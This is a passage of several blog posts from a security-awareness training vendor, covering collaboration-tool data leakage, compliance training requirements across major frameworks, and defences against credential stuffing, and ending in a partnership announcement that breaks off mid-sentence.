connection to use a weaker encryption key, potentially enabling real-time audio interception. The BLUFFS attack, published by researchers at EURECOM in late 2023, demonstrated that an attacker can force Bluetooth devices into a legacy pairing mode that allows session key brute-forcing across multiple sessions. The practical risk is highest in shared spaces. Coffee shops, coworking spaces, airport lounges, hotel lobbies. An employee taking a board call from a hotel lobby over a Bluetooth headset is broadcasting audio data within a 30-foot radius. The [Safe Bluetooth Practices exercise](/exercises/safe-bluetooth-practices/) covers the specific scenarios where wireless eavesdropping becomes a realistic threat and teaches employees when to switch to wired audio or defer sensitive calls. This is not theoretical paranoia. State-sponsored and corporate espionage operations have documented Bluetooth interception capabilities. For most organizations, the bigger risk is opportunistic. An attacker sitting in the same coworking space, scanning for Bluetooth devices, and intercepting fragments of a call that happens to contain something valuable. Screen sharing creates a parallel risk. During a Zoom or Teams call, an employee shares their screen to walk through a document. A notification pops up from their personal email, or a browser tab with sensitive data is briefly visible, or a Slack message with a customer name scrolls past. Screen sharing broadcasts everything on the display, not just the intended window. A 2023 Tessian survey found that 28% of employees have accidentally shared sensitive data during a screen sharing session. The [Shadow IT Awareness exercise](/exercises/shadow-it-awareness/) covers how personal apps running alongside work tools create these accidental exposure moments. ## How often do files end up in the wrong channel? Accidental sharing is quieter than credential exposure but potentially just as damaging. An HR manager uploads a salary spreadsheet to a public channel instead of a private one. A sales rep shares a contract with a customer's competitor because she picked the wrong channel from a dropdown. A developer posts a production config file containing API keys into a general engineering channel instead of the restricted infrastructure channel. These are not edge cases. They happen in every organization with more than a handful of channels. The Verizon 2024 DBIR found that misdelivery, sending information to the wrong recipient, accounted for 43% of errors leading to data breaches. Collaboration tools make misdelivery frictionless. When every channel is one click away, the wrong click has the same weight as the right one. Unlike email, where you at least see the recipient's name before sending, chat platforms let you post to channels with similar names in rapid succession. The muscle memory of typing in the message box and hitting Enter does not leave room for the "did I pick the right channel?" check. Our [Insider Threat (Accidental) exercise](/exercises/insider-threat-accidental/) simulates exactly this type of scenario, where a well-intentioned employee sends the wrong file to the wrong place and has to deal with the consequences. The problem is compounded by how collaboration tools handle file permissions. A document shared in a Slack channel inherits the channel's access permissions. If the channel has 200 members, all 200 now have access to that file. Some platforms retain file access even after the message is deleted. Most employees have never been trained to think about file permission inheritance in chat. They understand email attachments go to specific recipients. They do not realize that uploading a file to a Teams channel can make it accessible to everyone with SharePoint access to that team's underlying site. Understanding [cloud sharing controls](/exercises/cloud-sharing-controls/) and how file permissions propagate through chat platforms is a practical skill that prevents these quiet data exposures. ## Are "private" channels actually private? Employees say things in private channels they would never put in an email. Strategic plans, opinions about clients, complaints about management, salary discussions. They assume "private" means what it sounds like. It does not. Workspace administrators in Slack on Enterprise Grid plans can access private channel messages through Compliance exports. Microsoft Teams admins with eDiscovery permissions can search and export private channel content. Corporate legal teams can obtain private channel records through litigation holds. And any integration with the right OAuth scope can read private channel messages silently. A 2022 survey by Aware (formerly Aware360) found that 68% of employees believed their direct messages in workplace chat were visible only to the participants. They are not. The 2023 Slack security breach demonstrated the stakes. Slack disclosed that attackers used stolen employee tokens to access externally hosted code repositories and internal Slack messages. Private channels were not exempt. The breach did not result from a vulnerability in the private channel feature itself, but from the broader access that authentication tokens grant. If an attacker has your session token, every channel you belong to is accessible to them, private or not. This matters for [data leakage](/exercises/data-leakage/) prevention because employees treat private channels as safe spaces for sharing sensitive information. They post API keys "just between us," share customer complaints with identifying details, and discuss acquisition targets. All of this content is discoverable, exportable, and accessible to anyone who compromises an admin account or a sufficiently privileged integration. For organizations in regulated industries, this creates [compliance](/blog/compliance-training/) exposure when protected data appears in channels that are not subject to proper retention and access controls. A private Slack channel containing HIPAA-covered patient information or GDPR-protected personal data is subject to the same regulatory requirements as a database or email thread. The channel's "private" label provides no legal protection. See the [compliance mapping guide](/compliance/) for how training requirements map to specific regulatory frameworks. ## What does a practical collaboration tool security program look like? Telling employees to "be careful in chat" accomplishes nothing measurable. Vague guidance produces vague compliance. A working program addresses the specific behaviors that create risk, with controls and training mapped to each one. **Credential sharing.** Deploy a password manager with secure sharing features and make it the path of least resistance. Block messages containing patterns that look like passwords or API keys using Slack Enterprise DLP or Microsoft Purview. Train employees on why chat-based credential sharing is dangerous through exercises like our [Collaboration Tool Hygiene simulation](/exercises/collaboration-tool-hygiene/). **Integration hygiene.** Audit connected apps quarterly. Require admin approval for new integrations. Set expiration dates on webhook URLs. Remove integrations installed by employees who have left the organization. Rotate webhook URLs on a regular schedule, the same way you rotate API keys. [Secure messaging practices](/exercises/secure-messaging-practices/) training should include integration awareness, not just message content. **Access lifecycle.** Add collaboration tool deprovisioning to your offboarding checklist. Audit guest accounts monthly. Set expiration dates on external access grants. Review shared channel connections when partnerships end. For contractors and agency partners, set calendar reminders tied to contract end dates rather than relying on someone remembering to revoke access manually. **Channel discipline.** Establish naming conventions that signal sensitivity levels. A prefix like `#proj-` for project channels, `#ext-` for channels with external guests, and `#restricted-` for sensitive topics gives employees a visual cue before they post. Train employees to verify the channel before posting. Implement [data classification](/blog/data-classification-training/) labels in channels that handle sensitive content. Use DLP policies to flag and quarantine messages containing PII, credentials, or classification-marked content. **Wireless security awareness.** Include Bluetooth and WiFi hygiene in your remote work security policy. Teach employees when wired connections are necessary for sensitive calls. Cover this gap with exercises like [Safe Bluetooth Practices](/exercises/safe-bluetooth-practices/) and reinforce awareness of how [social media oversharing](/exercises/social-media-policy/) can reveal details that make targeted eavesdropping easier. **Screen sharing hygiene.** Train employees to use window-level sharing instead of full-screen sharing during video calls. Close unnecessary apps and disable notification pop-ups before presenting. These small habits prevent the accidental exposures that happen when a Slack DM or personal email notification flashes across a shared screen during a client presentation. --- *The fastest way to build these habits is through practice, not policy documents. Drill the participant-card check and remove-and-lock reflex with [Secure Online Meetings](/exercises/secure-online-meetings/), or browse our full [security awareness training catalogue](/catalogue/security-awareness/) for exercises covering collaboration tools, credential management, data leakage, and access control. Every exercise puts employees inside a realistic scenario where these risks play out, because reading about credential exposure in a slide deck is not the same as watching a simulated attacker search your Slack history for the word "password."* --- ### Compliance Training That Passes Audits Source: https://ransomleak.com/blog/compliance-training/ Regulatory compliance is not optional. If you handle healthcare data, process payments, or serve European customers, specific frameworks mandate how you protect information. [Security awareness training](/blog/security-awareness-training-guide/) sits at the center of nearly every one of those requirements. And yet most organizations treat compliance training as a checkbox exercise. Annual videos. Generic quizzes. Certificates that prove nothing except attendance. I've watched this pattern repeat for years, and it fails both the spirit and the letter of what regulators actually expect. The organizations that get this right do something different. They build training that satisfies auditors *and* creates employees who understand why regulations exist, how their daily actions either protect or expose sensitive data, and what to do when something looks wrong. ## Why does compliance require security awareness training? Every major compliance framework has arrived at the same conclusion: technical controls alone cannot protect sensitive data. Employees access, handle, and transmit protected information every single day. Their behavior is the variable that determines whether your security controls actually work. That is why regulations mandate training. Not as a suggestion. Not as a best practice. As a requirement with specific expectations around content, frequency, and documentation. ### What every framework agrees on Despite different origins and regulatory scopes, compliance frameworks converge on a handful of non-negotiable training requirements: - Most frameworks require annual training at minimum, with many recommending or requiring more frequent touchpoints - Training must address the specific risks and responsibilities relevant to each employee's role - Organizations must prove training occurred, typically through completion records and assessment scores - Training content must address current threats, not theoretical concepts from years past - Increasingly, frameworks expect organizations to demonstrate that training actually changes behavior, not just that it happened That last point is where things get interesting. Auditors used to be satisfied with completion rates. Now they want to see [measurable effectiveness](/blog/security-awareness-training-effectiveness/). The bar has moved. ## Framework-by-framework training requirements ### HIPAA (healthcare) The Health Insurance Portability and Accountability Act requires covered entities and business associates to train workforce members on policies and procedures for protecting health information. HIPAA training must cover: - Privacy Rule requirements for protected health information (PHI) - Security Rule safeguards for electronic PHI - Breach notification procedures - Minimum necessary standard - Patient rights regarding their information - Consequences of non-compliance Training frequency under HIPAA: - Initial training for new workforce members - Periodic refresher training (annual recommended) - Updates when policies or procedures change - Additional training after security incidents For documentation, you need training completion records, training materials and content versions, and evidence of policy acknowledgment. Here is the gap I see most often: organizations focus exclusively on clinical staff while neglecting administrative employees, IT personnel, and contractors who also access PHI. HIPAA applies to all workforce members. If your front desk receptionist can pull up a patient record, they need training. For the full workflow of building out role-based modules that map to the Privacy and Security Rules, see our guide to [HIPAA security awareness training](/blog/hipaa-security-awareness-training/). ### PCI DSS (payment card industry) The Payment Card Industry Data Security Standard requires security awareness training for all personnel with access to cardholder data environments. PCI DSS training must cover: - Cardholder data handling procedures - Acceptable use policies - Password and authentication requirements - Physical security for payment systems - Incident response procedures - [Social engineering](/blog/social-engineering-attacks/) and [phishing awareness](/blog/phishing-simulation-training/) Training frequency is straightforward: upon hire, at least annually thereafter, and when significant changes occur. The specific PCI DSS requirements worth noting: - Requirement 12.6 mandates a formal security awareness program - Requirement 12.6.1 requires training upon hire and annually - Requirement 12.6.2 requires acknowledgment of security policies - Requirement 12.6.3 requires personnel to be aware of threats including phishing PCI DSS 4.0 changed the game here. The updated standard emphasizes targeted risk analysis and requires organizations to demonstrate that training addresses current, real threats. Not the phishing emails of 2019. The [business email compromise](/blog/bec-training/) and [vishing attacks](/blog/vishing-awareness/) hitting your industry right now. ### SOC 2 (service organizations) SOC 2 compliance requires service organizations to maintain security awareness programs as part of their control environment. Training supports multiple Trust Service Criteria. The security criterion requires awareness of security policies. The confidentiality criterion requires understanding of [data classification](/blog/data-classification-training/). The privacy criterion requires training on personal information handling. What SOC 2 auditors actually look at: - Training program documentation - Completion records and tracking - Content relevance to organizational risks - Evidence of ongoing awareness activities - Metrics demonstrating program effectiveness If you're preparing for a SOC 2 audit, align your training topics with your specific Trust Service Criteria. Document how each training module addresses each relevant criterion. Auditors love clear mapping between what you claim and what you do. ### GDPR (European data protection) The General Data Protection Regulation requires organizations to ensure personnel handling personal data understand their obligations. GDPR training must cover: - Data protection principles (lawfulness, fairness, transparency) - Data subject rights (access, erasure, portability) - Lawful bases for processing - Data breach recognition and reporting - Cross-border transfer restrictions - Data minimization and purpose limitation The specific GDPR articles to know: Article 39 requires Data Protection Officers to monitor training. Article 47 requires binding corporate rules to include training provisions. Recital 89 emphasizes training to recognize and report breaches. Here is what makes GDPR different from most frameworks. It applies to any employee who handles personal data. In practice, that means nearly everyone in your organization. The marketing team using customer email lists? Trained. The developer with access to user databases? Trained. The intern sorting resumes? Trained. ### ISO 27001 (information security management) ISO 27001 certification requires organizations to ensure personnel are aware of information security policies and their contributions to the management system. The specific requirements: - Clause 7.2 requires competence for roles affecting information security - Clause 7.3 requires awareness of security policy and objectives - Annex A.7.2.2 specifically addresses information security awareness Certification auditors verify that training needs are identified and addressed, that competence is evaluated and documented, that awareness programs exist and operate effectively, and that training records are maintained. They are thorough. ### NIST cybersecurity framework While voluntary for most organizations, NIST CSF provides widely adopted guidance that many organizations use as their security baseline. NIST CSF training alignment: - PR.AT-1: All users are informed and trained - PR.AT-2: Privileged users understand roles and responsibilities - PR.AT-3: Third parties understand roles and responsibilities - PR.AT-4: Senior executives understand roles and responsibilities - PR.AT-5: Security personnel have adequate skills NIST also publishes SP 800-50 (Building an IT Security Awareness Program) and SP 800-53 (Security Controls), which define roles, provide implementation guidance, outline content development approaches, and describe metrics and evaluation methods. If you need a starting framework and have no idea where to begin, NIST 800-50 is the single best document to read first. ## How do you build a multi-framework compliance training program? Most organizations deal with multiple compliance requirements simultaneously. I've seen companies juggling HIPAA, PCI DSS, and SOC 2 all at once. Building separate training programs for each framework is a recipe for burnout, inconsistency, and wasted budget. The smarter approach is a unified program that addresses common elements while layering framework-specific content where it matters. ### Map your requirements first Our [compliance mapping guide](/compliance-mapping/) provides a detailed framework-to-framework comparison that helps you identify overlapping requirements. Create a matrix of training requirements across all applicable frameworks: | Topic | HIPAA | PCI DSS | SOC 2 | GDPR | ISO 27001 | |-------|-------|---------|-------|------|-----------| | Phishing awareness | ✓ | ✓ | ✓ | ✓ | ✓ | | Password security | ✓ | ✓ | ✓ | ✓ | ✓ | | Data handling | ✓ | ✓ | ✓ | ✓ | ✓ | | Incident reporting | ✓ | ✓ | ✓ | ✓ | ✓ | | Physical security | ✓ | ✓ | ✓ | | ✓ | | Framework-specific | PHI rules | Card data | Trust criteria | Data subject rights | ISMS | Look at that table. Phishing, passwords, data handling, incident reporting. Every single framework requires them. That is your core curriculum right there. ### Build the core curriculum Your foundational training modules should satisfy the requirements that overlap across frameworks: - [Phishing and social engineering recognition](/blog/phishing-detection/) - Password and authentication best practices - Safe data handling procedures - Security incident recognition and reporting - Physical and environmental security - [Mobile device](/blog/mobile-security-training/) and remote work security These topics alone will cover a significant portion of your compliance obligations across every framework. Get these right, and the framework-specific work becomes much more manageable. ### Layer framework-specific modules On top of the core curriculum, add compliance-specific content for the relevant audiences: - HIPAA: PHI identification, minimum necessary standard, patient rights - PCI DSS: Cardholder data scope, payment security procedures - GDPR: Data subject rights, lawful processing bases, breach notification - SOC 2: Trust service criteria relevant to your report scope - ISO 27001: ISMS overview, policy acknowledgment, continual improvement ### Implement role-based delivery Not everyone needs every module. Map training to actual job functions: | Role | Core | HIPAA | PCI DSS | GDPR | ISO 27001 | |------|------|-------|---------|------|-----------| | All employees | ✓ | | | ✓ | ✓ | | Clinical staff | ✓ | ✓ | | ✓ | ✓ | | Finance/billing | ✓ | ✓ | ✓ | ✓ | ✓ | | IT staff | ✓ | ✓ | ✓ | ✓ | ✓ | | Customer service | ✓ | | ✓ | ✓ | ✓ | | Executives | ✓ | ✓ | ✓ | ✓ | ✓ | Notice that executives get everything. That is intentional. They are the [biggest whaling targets](/blog/what-is-whaling-cybersecurity/) and the hardest to get into training sessions. Do not let them skip modules. ### Set the right training cadence Meet the most stringent frequency requirement across all your frameworks: - Initial training within the first week of employment - Annual refresher with comprehensive review of all applicable content - Quarterly touchpoints: brief updates on current threats and policy reminders - Event-driven training after incidents, policy changes, or emerging threats Quarterly touchpoints are where most programs fall apart. The annual training happens because the audit is coming. The onboarding training happens because HR has a checklist. But those quarterly updates? They require discipline and planning. I recommend [short, interactive exercises](/blog/cybersecurity-awareness-exercises/) rather than another slide deck nobody will remember. ## What actually works in compliance training ### Document everything This is not optional. Auditors cannot give you credit for training they cannot verify. Maintain records of training completion dates and scores, training content and version history, policy acknowledgments, assessment results, remediation actions for failed assessments, and training program reviews and updates. If you are using [SCORM-compliant training](/blog/scorm-security-training/), most of this tracking happens automatically. ### Make it relevant to your people Generic compliance training fails to change behavior. I have seen healthcare organizations running the same [phishing simulations](/blog/phishing-simulation-training/) used by banks. The scenarios make no sense to clinical staff who spend their day in EHR systems, not financial platforms. Customize content to reflect your specific industry and business context, the actual systems and procedures your employees use, real examples of threats facing your organization, and consequences specific to your regulatory environment. ### Test understanding, not attendance Completion certificates prove nothing about learning. Include knowledge assessments with passing thresholds, practical exercises requiring application of concepts, [phishing simulations](/blog/phishing-simulation-training/) measuring real-world behavior, and periodic spot-checks of security practice adherence. If someone completes your training in four minutes and scores 100%, your assessment is too easy. Real understanding takes effort to demonstrate. ### Update content on a real schedule Compliance requirements evolve. Threats change faster. Review and update training when regulations change (PCI DSS 4.0, or the EU's [NIS2 directive](/blog/nis2-training/) for organizations in scope across essential and important sectors), when new threat types emerge (like [smishing](/blog/what-is-smishing-cybersecurity/) or [barrel phishing](/blog/barrel-phishing/)), when your organization's risk profile shifts, and at least annually regardless of other triggers. US financial institutions should also check whether the updated [FTC Safeguards Rule training](/blog/ftc-safeguards-rule-training/) requirements apply to their program. ### Track metrics that matter Move beyond completion rates. Here is what to actually measure: | Metric | Purpose | |--------|---------| | Assessment scores | Knowledge retention | | Phishing simulation results | Behavior change | | Incident reporting rates | Awareness in practice | | Time to complete | Engagement level | | Repeat training needs | Where people struggle | ## Where do compliance training programs go wrong? I have audited enough training programs to spot the patterns. Here are the failures I see most, and none of them are surprising once you think about it. **Training only happens once a year.** Annual training satisfies the bare minimum of most requirements, but employees forget the majority of content within weeks. The fix is continuous training with monthly or quarterly touchpoints. Brief, focused modules maintain awareness between annual sessions. **Everyone gets the same generic content.** When training does not address specific regulatory requirements or role-specific responsibilities, it fails to meet compliance expectations. Different roles face different threats. A [human firewall](/blog/human-firewall-training/) program recognizes this. A finance employee handling wire transfers needs [BEC training](/blog/bec-training/). A customer service rep needs [email security training](/blog/email-security-training/). Build role-based training paths. **The checkbox mentality infects everything.** Treating training as a compliance checkbox rather than a security improvement opportunity produces minimum effort and minimum results. Use simulations, interactive scenarios, and practical exercises. Make people think, not just click "Next." **Documentation is incomplete or scattered.** Training happens, but records are inconsistent, fragmented, or inaccessible. Auditors cannot verify compliance without evidence. Implement training management systems that automatically track completion, scores, and content versions. Maintain records for the retention period each framework requires. **Third parties get ignored.** Organizations focus training on employees while contractors, vendors, and partners also access protected systems and data. Extend training requirements to all workforce members with access, regardless of employment status. Include third-party training verification in your vendor management process. SMB-focused tools like usecure often handle this multi-tenant case well; our [RansomLeak vs usecure comparison](/blog/ransomleak-vs-usecure/) covers the trade-off between SMB simplicity and the scenario depth larger compliance programs need. ## How do you measure whether compliance training works? ### Compliance metrics | Metric | Target | Audit relevance | |--------|--------|-----------------| | Training completion rate | 100% | Required by all frameworks | | Assessment pass rate | >90% | Demonstrates understanding | | On-time completion | 100% | Shows program management | | Documentation completeness | 100% | Audit evidence | ### Security metrics | Metric | Target | Security relevance | |--------|--------|-------------------| | Phishing click rate | <5% | Behavioral effectiveness | | Incident reporting rate | >70% | Awareness in practice | | Policy violation rate | Declining trend | Behavior change | | Time to report incidents | <1 hour | Response readiness | ### Program health metrics | Metric | Purpose | |--------|---------| | Training feedback scores | Content quality | | Module completion time | Engagement level | | Repeat failure rates | Problem identification | | Content update frequency | Program currency | ## Make compliance training count Compliance training requirements exist because regulators recognize what security professionals already know: technology alone cannot protect sensitive data. People remain both the greatest vulnerability and the strongest potential defense. Meeting compliance requirements is the baseline. Exceeding them through engaging, relevant, and continuous training creates genuine security improvement. The organization that views compliance training as an opportunity rather than an obligation gains both regulatory confidence and measurably better security posture. Your compliance frameworks mandate training. Build training that actually sticks with our [security awareness](/catalogue/security-awareness/) and [privacy & compliance](/catalogue/privacy-compliance/) exercise catalogues. --- *Start building compliance-ready security awareness through hands-on practice. Try our free [GDPR Data Breach Response](/exercises/gdpr-data-breach-response/) and [PII Document Redaction](/exercises/gdpr-pii-document-redaction/) exercises, or browse our full [training catalogue](/catalogue/) to see how active learning creates the engagement and retention that compliance auditors want to see.* --- ### Credential Stuffing: How Leaked Passwords Work Source: https://ransomleak.com/blog/credential-stuffing-awareness/ In January 2024, a security team at a mid-size SaaS company noticed something odd. Over a single weekend, their authentication logs showed 340,000 failed login attempts across employee and customer-facing portals. The attempts came from thousands of IP addresses, rotating every few requests. Buried in the noise: 47 successful logins. None of those 47 accounts had been brute-forced. The attackers already had the correct passwords. They had purchased a batch of stolen credentials from a 2023 breach of an unrelated service, and 47 employees had used the same email and password combination for both. This is credential stuffing. Not a sophisticated exploit. Not a zero-day. Just a bet that people reuse passwords, and that bet pays off roughly 0.1% to 2% of the time. At scale, that is enough. ## What is credential stuffing? Credential stuffing is an automated attack where stolen username-password pairs from one data breach are tested against login pages of other services. The attacker does not guess passwords. They already have real ones. They just need to find where else those credentials work. The mechanics are straightforward. Breached credential lists containing millions of email/password combinations are sold and traded on dark web marketplaces, sometimes for less than $10 per million records. Attackers load these lists into automated tools that attempt logins across hundreds of websites simultaneously. The tools rotate through proxy servers to avoid IP-based blocking, throttle requests to stay under rate-limit thresholds, and solve CAPTCHAs using machine learning services. The attack succeeds because of one predictable human behavior: password reuse. A 2024 study by Bitwarden found that 65% of people admit to reusing passwords across multiple accounts. The actual number is likely higher, since people tend to underreport habits they know are risky. ## Why credential stuffing keeps working ### The breach supply chain never stops Have I Been Pwned, the breach notification service run by Troy Hunt, has indexed over 13 billion compromised accounts as of early 2026. New breaches add millions of records every month. Each one feeds fresh ammunition into credential stuffing operations. The breaches do not need to be recent. A LinkedIn breach from 2012 still produces valid credentials because people keep the same passwords for years. An employee who created a LinkedIn account in college and never changed the password may still use that same password for their corporate email today. ### Automation makes scale trivial A single attacker with commodity tools can test millions of credential pairs per day. Open-source frameworks like Sentry MBA and its successors abstract away the technical complexity. You configure a target site, load a credential list, point the tool at a pool of rotating proxies, and let it run. The cost of running these attacks is measured in dollars, not thousands. ### Detection is harder than it sounds Credential stuffing does not look like a brute-force attack. Each individual login attempt uses a valid-looking username and a real password. The attempts come from different IP addresses. They are spaced out to mimic normal traffic patterns. From the defender's perspective, distinguishing a credential stuffing attempt from a legitimate user mistyping their password requires behavioral analysis, not simple rule matching. ## The real cost of a successful attack When credential stuffing succeeds, the attacker gains access to a legitimate account with real permissions. What happens next depends on what that account can reach. **Corporate email takeover.** A compromised email account gives attackers access to internal communications, contact lists, calendar data, and attachments containing sensitive information. It also becomes a launching pad for [business email compromise](/blog/bec-training/) attacks, where the attacker sends convincing requests to colleagues from the compromised address. **Customer data exposure.** If the compromised account has access to customer records, PII, financial data, or health information, the credential stuffing incident becomes a data breach with regulatory notification requirements. **Lateral movement.** Attackers use the initial foothold to explore internal systems, escalate privileges, and access higher-value targets. A compromised employee account is often the first step in a [ransomware incident](/blog/ransomware-awareness-training/) or a sustained data exfiltration campaign. **Financial fraud.** In e-commerce and financial services, credential stuffing leads directly to unauthorized purchases, account balance theft, and loyalty point fraud. The 2024 Verizon Data Breach Investigations Report found that stolen credentials were the initial attack vector in 31% of all breaches. More than any other technique. ## How to check if your credentials have been exposed Before you can fix the problem, you need to know the scope. Here are practical steps every employee should take. ### Check breach databases Visit [haveibeenpwned.com](https://haveibeenpwned.com) and search for your work and personal email addresses. The site indexes over 13 billion accounts from 700+ breaches and will tell you which ones included your credentials. If your email appears in a breach, assume the password you used on that service is now public. If you used that same password anywhere else, those accounts are vulnerable right now. ### Use your password manager's audit feature Most enterprise password managers include a security dashboard that cross-references your stored credentials against known breaches. It also flags reused passwords and weak entries. Run this audit. Address every flagged item, starting with work accounts. ### Enable breach monitoring Services like Have I Been Pwned offer notification subscriptions. Your organization's security team may also run credential monitoring that alerts when employee credentials appear in new breach dumps. Make sure you are enrolled in whatever monitoring your company provides. ## Breaking the password reuse cycle Knowing the problem exists is step one. Changing behavior is where most programs stall. Here is what actually works. ### Use a password manager for everything This is the single most effective defense against credential stuffing. A [password manager](/exercises/password-manager-habits/) generates a unique, random password for every account and remembers it for you. You do not need to memorize anything except the master password for the vault itself. The practical friction points are real. Some sites do not play well with autofill. Shared team accounts create workarounds. But these are solvable problems, and solving them eliminates the core vulnerability that credential stuffing exploits. Password managers also function as a phishing detection tool. Because autofill is domain-aware, the manager will not offer credentials on a spoofed login page. That absence of a password suggestion is your signal that the site is fake. Our [password manager habits exercise](/exercises/password-manager-habits/) covers this in detail. ### Make every password unique If a password exists in two places, credential stuffing can bridge them. The goal is zero reuse. Not "mostly unique" or "unique for important accounts." Zero. This sounds unreasonable until you accept that password managers handle it for you. Generate a 20-character random string for each account. You will never type it manually, so it does not matter if it is memorable. ### Enable multi-factor authentication everywhere MFA does not prevent credential stuffing attempts, but it stops them from succeeding. Even when an attacker has the correct password, they cannot complete the login without the second factor. Not all MFA is equally strong. SMS codes can be intercepted via SIM swapping. Authenticator apps are better. Hardware security keys are the strongest option, and the only one that is fully phishing-resistant. Our [MFA setup exercise](/exercises/mfa-setup-best-practices/) walks through the tradeoffs and helps employees configure the strongest option their accounts support. ### Do not ignore breach notifications When a service notifies you of a breach, change the affected password immediately. Then check whether you used it anywhere else. This is the step most people skip, and it is the one that matters most for credential stuffing prevention. ## What credential stuffing looks like from the defender's side Understanding the detection and response perspective helps employees appreciate why their individual habits matter at an organizational level. ### Login anomaly patterns Security teams monitor for patterns that distinguish credential stuffing from normal authentication traffic. **Geographic impossibility.** An employee's account logs in from New York at 9 AM and from Moscow at 9:05 AM. No human can travel that fast. This is a strong indicator of compromised credentials being tested remotely. **Burst failure rates.** A sudden spike in failed login attempts across multiple accounts, followed by a small number of successes, is the classic credential stuffing signature. **User-agent rotation.** Automated tools cycle through browser identifiers to appear as different devices. The rapid rotation is detectable with behavioral analysis. **Off-hours activity.** Login attempts at 3 AM on accounts that normally authenticate during business hours. ### Defensive controls Organizations layer multiple defenses to slow down credential stuffing. **Rate limiting** caps the number of login attempts from a single IP or for a single account within a time window. Attackers counter this with distributed IP pools, which is why rate limiting alone is not sufficient. **CAPTCHA challenges** force proof-of-humanity during login. Machine learning CAPTCHA-solving services have reduced their effectiveness, but they still increase the cost and complexity of attacks. **Credential screening** compares new and existing passwords against known breach databases. If an employee sets a password that has appeared in a previous breach, the system rejects it. Microsoft's data shows that blocking known-breached passwords prevents over 99% of password spray and credential stuffing attacks against Azure AD tenants that enable the feature. **Device fingerprinting** builds a profile of each user's normal login behavior, including device type, browser, location, and time patterns. Logins that deviate significantly trigger additional verification. ## Credential stuffing and account recovery A less obvious risk: if an attacker gains access to an account, they may also be able to change recovery settings. They add their own phone number for password resets, register a new MFA device, or modify the recovery email address. Even after the victim changes their password, the attacker retains a way back in. This is why [account recovery security](/exercises/account-recovery-security/) matters. Check your recovery settings proactively, not just after an incident. Verify that recovery phone numbers and email addresses are current and belong to you. Remove any you do not recognize. ## The connection between personal and corporate security Here is where credential stuffing gets uncomfortable for organizations. The breach that exposes an employee's password often happened on a personal service: a streaming platform, a gaming site, a food delivery app. The employer had no control over that service's security practices. But the moment an employee reuses their corporate password on that personal account, the organization inherits the risk. This is not a hypothetical. The 2020 Zoom credential stuffing attack, where over 500,000 accounts were sold on dark web forums, was fueled almost entirely by passwords reused from other breaches. None of those passwords were stolen from Zoom itself. Corporate security policies that focus only on corporate systems miss this reality. Effective programs acknowledge that employees have personal accounts, that password reuse bridges the two worlds, and that the solution (password managers, unique passwords, MFA) protects both simultaneously. [Shadow IT](/blog/shadow-it-security-risks/) compounds this problem: every unauthorized SaaS tool an employee signs up for with their corporate email is another account where password reuse creates exposure. ## Training that changes behavior Awareness alone does not stop credential stuffing. People have known for years that password reuse is dangerous. They keep doing it because the alternative (remembering unique passwords for 100+ accounts) seems impossible. Training needs to close the gap between knowing and doing. For a deeper look at building a comprehensive password program, see our guide on [password security training](/blog/password-security-training/). **Make it concrete.** Show employees what a breached credential list actually looks like. Let them search for their own emails in breach databases. Abstract warnings about "password hygiene" do not motivate behavior change. Seeing your own email next to a plaintext password does. **Provide the tools.** Telling employees to use unique passwords without providing a password manager is like telling them to lock the door without giving them a key. Deploy an enterprise password manager, build time into onboarding for setup, and provide ongoing support. **Simulate the attack.** Our [credential stuffing awareness exercise](/exercises/credential-stuffing-awareness/) puts employees in the middle of a live credential stuffing incident. They analyze authentication logs, trace the attack pattern, identify compromised accounts, and take containment steps. When you see how the attack works from the inside, the motivation to fix your own password habits becomes personal. **Repeat without being annoying.** One training session does not create lasting behavior change. Periodic reinforcement through simulated attacks, breach notification walkthroughs, and password audit reminders keeps the topic present without inducing fatigue. --- *See credential stuffing from the attacker's perspective. [Try our free credential stuffing awareness exercise](/exercises/credential-stuffing-awareness/) and practice identifying compromised accounts in live authentication logs. For broader coverage, explore our [security awareness training catalogue](/catalogue/security-awareness/) with exercises on password management, MFA configuration, and account recovery security.* --- ### RansomLeak + Cyber Helmets Partnership Source: https://ransomleak.com/blog/cyber-helmets-ransomleak-partnership/ Ransomware and phishing attacks keep evolving in scale and sophistication. Theoretical training alone does not cut it anymore. Organizations need practical, experience-driven learning that mirrors how attacks actually happen. That is why RansomLeak has partnered with Cyber Helmets to deliver cybersecurity training and awareness programs grounded in real-world ransomware intelligence. ## What this partnership brings together Cyber Helmets runs instructor-led cybersecurity programs built around their Training Development Process (TDP), a continuous, skills-based framework that ensures teams don't just train but learn, apply, and evolve alongside real threats. RansomLeak brings immersive [3D simulation exercises](/features/) where employees experience attacks firsthand, plus threat intelligence drawn from active ransomware groups, attack patterns, and leak data. The result: training content that reflects how attackers actually operate, not how a slide deck imagines they do. ## What the joint programs cover Together, Cyber Helmets and RansomLeak support organizations through: - **Cybersecurity awareness workshops** based on real attack scenarios, not hypothetical situations - **Phishing simulation and training** aligned with current threat tactics, including [vishing](/blog/vishing-awareness/), [smishing](/blog/what-is-smishing-cybersecurity/), and [whaling](/blog/what-is-whaling-cybersecurity/) - **Ransomware preparedness and incident response training** covering detection, containment, and recovery - **Threat intelligence briefings** providing risk insights drawn from active threat actor operations - **Continuous security awareness and culture programs** that keep security top of mind beyond annual compliance checkboxes By combining immersive simulations with real threat intelligence, the partnership helps organizations understand attacker behavior, strengthen response capabilities, and build a security-first culture. ## Why this matters Most [security awareness training](/blog/security-awareness-training-guide/) relies on static videos and multiple-choice quizzes. Employees click through, pass the test, and forget everything by Friday. Attack techniques move faster than slide decks get updated. This partnership takes a different approach. Cyber Helmets contributes deep offensive and defensive security expertise. RansomLeak contributes [100+ interactive exercises](/catalogue/) where employees experience attacks before learning to defend against them. Threat intelligence from active ransomware operations keeps exercise content current. The training is hands-on, regularly updated, and built by people who study how attacks actually work. ## Get started If you are interested in threat intelligence-driven training for your team, [get in touch](/contact-us/). We work with organizations of all sizes to build [security awareness programs](/partners/) that match their risk profile and compliance requirements. ## About Cyber Helmets Cyber Helmets delivers hands-on cybersecurity training designed to build real-world capability across security domains. At the core of its approach is the Training Development Process (TDP), a continuous, skills-based framework that ensures teams don't just train, but learn, apply, and evolve in alignment with real-world challenges and business objectives. Through instructor-led programs, practical labs, and tailored enterprise training, Cyber Helmets helps teams develop the skills needed to detect, respond to, and mitigate modern cyber threats. For more information, visit cyberhelmets.com. ## About RansomLeak RansomLeak is a cybersecurity training platform that places users in a 3D simulated workplace where they experience cyberattacks firsthand: installing malware, answering phishing calls, joining Zoom meetings with a deepfake of their boss, and more. The platform includes 100+ interactive exercises covering [security awareness](/catalogue/security-awareness/), [privacy and compliance](/catalogue/privacy-compliance/), [AI and LLM security](/catalogue/ai-security/), and the OWASP Top 10. Users experience the attack, then 